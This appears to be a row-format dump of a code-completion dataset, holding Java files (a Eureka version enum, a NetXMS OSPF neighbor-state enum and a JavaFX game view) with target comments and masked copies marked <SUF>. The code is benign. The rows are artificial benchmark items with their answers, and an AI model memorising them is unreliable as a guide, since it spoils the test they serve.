* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.netflix.eureka;
/**
* Supported versions for Eureka.
*
* <p>The latest versions are always recommended.</p>
*
* @author Karthik Ranganathan, Greg Kim
*
*/
public enum Version {
V1, V2;
public static Version toEnum(String v) {
for (Version version : Version.values()) {
if (version.name().equalsIgnoreCase(v)) {
return version;
}
}
//Defaults to<SUF>
return V2;
}
}
|
167369_5 | /**
* NetXMS - open source network management system
* Copyright (C) 2003-2022 Victor Kirhenshtein
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
package org.netxms.client.constants;
import java.util.HashMap;
import java.util.Map;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* OSPF neighbor state
*/
public enum OSPFNeighborState
{
UNKNOWN(0, ""),
DOWN(1, "DOWN"),
ATTEMPT(2, "ATTEMPT"),
INIT(3, "INIT"),
TWO_WAY(4, "TWO-WAY"),
EXCHANGE_START(5, "EXCHANGE START"),
EXCHANGE(6, "EXCHANGE"),
LOADING(7, "LOADING"),
FULL(8, "FULL");
private static Logger logger = LoggerFactory.getLogger(OSPFNeighborState.class);
private static Map<Integer, OSPFNeighborState> lookupTable = new HashMap<Integer, OSPFNeighborState>();
static
{
for(OSPFNeighborState element : OSPFNeighborState.values())
{
lookupTable.put(element.value, element);
}
}
private int value;
private String text;
/**
* Internal constructor
*
* @param value integer value
* @param text text value
*/
private OSPFNeighborState(int value, String text)
{
this.value = value;
this.text = text;
}
/**
* Get integer value
*
* @return integer value
*/
public int getValue()
{
return value;
}
/**
* Get text value
*
* @return text value
*/
public String getText()
{
return text;
}
/**
* Get enum element by integer value
*
* @param value integer value
* @return enum element corresponding to given integer value or fall-back element for invalid value
*/
public static OSPFNeighborState getByValue(int value)
{
final OSPFNeighborState element = lookupTable.get(value);
if (element == null)
{
logger.warn("Unknown element " + value);
return UNKNOWN; // fall-back
}
return element;
}
}
| netxms/netxms | src/client/java/netxms-client/src/main/java/org/netxms/client/constants/OSPFNeighborState.java | 814 | /**
* Get enum element by integer value
*
* @param value integer value
* @return enum element corresponding to given integer value or fall-back element for invalid value
*/ | block_comment | nl | /**
* NetXMS - open source network management system
* Copyright (C) 2003-2022 Victor Kirhenshtein
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
package org.netxms.client.constants;
import java.util.HashMap;
import java.util.Map;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* OSPF neighbor state
*/
public enum OSPFNeighborState
{
UNKNOWN(0, ""),
DOWN(1, "DOWN"),
ATTEMPT(2, "ATTEMPT"),
INIT(3, "INIT"),
TWO_WAY(4, "TWO-WAY"),
EXCHANGE_START(5, "EXCHANGE START"),
EXCHANGE(6, "EXCHANGE"),
LOADING(7, "LOADING"),
FULL(8, "FULL");
private static Logger logger = LoggerFactory.getLogger(OSPFNeighborState.class);
private static Map<Integer, OSPFNeighborState> lookupTable = new HashMap<Integer, OSPFNeighborState>();
static
{
for(OSPFNeighborState element : OSPFNeighborState.values())
{
lookupTable.put(element.value, element);
}
}
private int value;
private String text;
/**
* Internal constructor
*
* @param value integer value
* @param text text value
*/
private OSPFNeighborState(int value, String text)
{
this.value = value;
this.text = text;
}
/**
* Get integer value
*
* @return integer value
*/
public int getValue()
{
return value;
}
/**
* Get text value
*
* @return text value
*/
public String getText()
{
return text;
}
/**
* Get enum element<SUF>*/
public static OSPFNeighborState getByValue(int value)
{
final OSPFNeighborState element = lookupTable.get(value);
if (element == null)
{
logger.warn("Unknown element " + value);
return UNKNOWN; // fall-back
}
return element;
}
}
|
110662_0 | package com.groep6.pfor.views;
import com.groep6.pfor.controllers.MoveController;
import com.groep6.pfor.util.IObserver;
import com.groep6.pfor.views.components.UIButton;
import javafx.event.EventHandler;
import javafx.geometry.Insets;
import javafx.geometry.Pos;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.input.MouseEvent;
import javafx.scene.layout.BorderPane;
import javafx.scene.layout.HBox;
import javafx.scene.paint.Color;
import javafx.scene.text.Font;
import javafx.scene.text.FontPosture;
import javafx.scene.text.FontWeight;
import javafx.scene.text.Text;
/**
* The move view
* @author Nils van der Velden
*/
public class MoveView extends View implements IObserver {
private MoveController moveController;
/**
* The constructor
* @param moveController The moveController
*/
public MoveView(MoveController moveController) {
this.moveController = moveController;
moveController.registerObserver(this);
createView();
update();
}
public void createView() {
BorderPane root = new BorderPane();
Text text = new Text("Hoeveel legioenen wil je meenemen?");
text.setFont(Font.font("verdana", FontWeight.BOLD, FontPosture.REGULAR,20));
text.setFill(Color.BLACK);
root.setCenter(text);
Button backButton = new UIButton("Go back");
backButton.addEventFilter(MouseEvent.MOUSE_CLICKED, menuButtonClicked);
root.setTop(backButton);
HBox buttonBox = new HBox(30);
buttonBox.setAlignment(Pos.CENTER);
Button takeZero = new UIButton("0");
takeZero.addEventFilter(MouseEvent.MOUSE_CLICKED, takeZeroClicked);
Button takeOne = new UIButton("1");
takeOne.addEventFilter(MouseEvent.MOUSE_CLICKED, takeOneClicked);
Button TakeTwo = new UIButton("2");
TakeTwo.addEventFilter(MouseEvent.MOUSE_CLICKED, takeTwoClicked);
Button TakeThree = new UIButton("3");
TakeThree.addEventFilter(MouseEvent.MOUSE_CLICKED, takeThreeClicked);
buttonBox.getChildren().addAll(takeZero, takeOne, TakeTwo, TakeThree);
BorderPane.setMargin(buttonBox, new Insets(12,12,100,12)); // optional
root.setBottom(buttonBox);
scene = new Scene(root);
}
EventHandler<MouseEvent> menuButtonClicked = new EventHandler<MouseEvent>() {
@Override
public void handle(MouseEvent e) {
moveController.goBack();
}
};
EventHandler<MouseEvent> takeZeroClicked = new EventHandler<MouseEvent>() {
@Override
public void handle(MouseEvent e) {
moveController.takeZero();
}
};
EventHandler<MouseEvent> takeOneClicked = new EventHandler<MouseEvent>() {
@Override
public void handle(MouseEvent e) {
moveController.takeOne();
}
};
EventHandler<MouseEvent> takeTwoClicked = new EventHandler<MouseEvent>() {
@Override
public void handle(MouseEvent e) {
moveController.takeTwo();
}
};
EventHandler<MouseEvent> takeThreeClicked = new EventHandler<MouseEvent>() {
@Override
public void handle(MouseEvent e) {
moveController.takeThree();
}
};
@Override
public void update(Object... data) {
}
}
| newo-2001/pfor | src/main/java/com/groep6/pfor/views/MoveView.java | 1,062 | /**
* The move view
* @author Nils van der Velden
*/ | block_comment | nl | package com.groep6.pfor.views;
import com.groep6.pfor.controllers.MoveController;
import com.groep6.pfor.util.IObserver;
import com.groep6.pfor.views.components.UIButton;
import javafx.event.EventHandler;
import javafx.geometry.Insets;
import javafx.geometry.Pos;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.input.MouseEvent;
import javafx.scene.layout.BorderPane;
import javafx.scene.layout.HBox;
import javafx.scene.paint.Color;
import javafx.scene.text.Font;
import javafx.scene.text.FontPosture;
import javafx.scene.text.FontWeight;
import javafx.scene.text.Text;
/**
* The move view<SUF>*/
public class MoveView extends View implements IObserver {
private MoveController moveController;
/**
* The constructor
* @param moveController The moveController
*/
public MoveView(MoveController moveController) {
this.moveController = moveController;
moveController.registerObserver(this);
createView();
update();
}
public void createView() {
BorderPane root = new BorderPane();
Text text = new Text("Hoeveel legioenen wil je meenemen?");
text.setFont(Font.font("verdana", FontWeight.BOLD, FontPosture.REGULAR,20));
text.setFill(Color.BLACK);
root.setCenter(text);
Button backButton = new UIButton("Go back");
backButton.addEventFilter(MouseEvent.MOUSE_CLICKED, menuButtonClicked);
root.setTop(backButton);
HBox buttonBox = new HBox(30);
buttonBox.setAlignment(Pos.CENTER);
Button takeZero = new UIButton("0");
takeZero.addEventFilter(MouseEvent.MOUSE_CLICKED, takeZeroClicked);
Button takeOne = new UIButton("1");
takeOne.addEventFilter(MouseEvent.MOUSE_CLICKED, takeOneClicked);
Button TakeTwo = new UIButton("2");
TakeTwo.addEventFilter(MouseEvent.MOUSE_CLICKED, takeTwoClicked);
Button TakeThree = new UIButton("3");
TakeThree.addEventFilter(MouseEvent.MOUSE_CLICKED, takeThreeClicked);
buttonBox.getChildren().addAll(takeZero, takeOne, TakeTwo, TakeThree);
BorderPane.setMargin(buttonBox, new Insets(12,12,100,12)); // optional
root.setBottom(buttonBox);
scene = new Scene(root);
}
EventHandler<MouseEvent> menuButtonClicked = new EventHandler<MouseEvent>() {
@Override
public void handle(MouseEvent e) {
moveController.goBack();
}
};
EventHandler<MouseEvent> takeZeroClicked = new EventHandler<MouseEvent>() {
@Override
public void handle(MouseEvent e) {
moveController.takeZero();
}
};
EventHandler<MouseEvent> takeOneClicked = new EventHandler<MouseEvent>() {
@Override
public void handle(MouseEvent e) {
moveController.takeOne();
}
};
EventHandler<MouseEvent> takeTwoClicked = new EventHandler<MouseEvent>() {
@Override
public void handle(MouseEvent e) {
moveController.takeTwo();
}
};
EventHandler<MouseEvent> takeThreeClicked = new EventHandler<MouseEvent>() {
@Override
public void handle(MouseEvent e) {
moveController.takeThree();
}
};
@Override
public void update(Object... data) {
}
}
|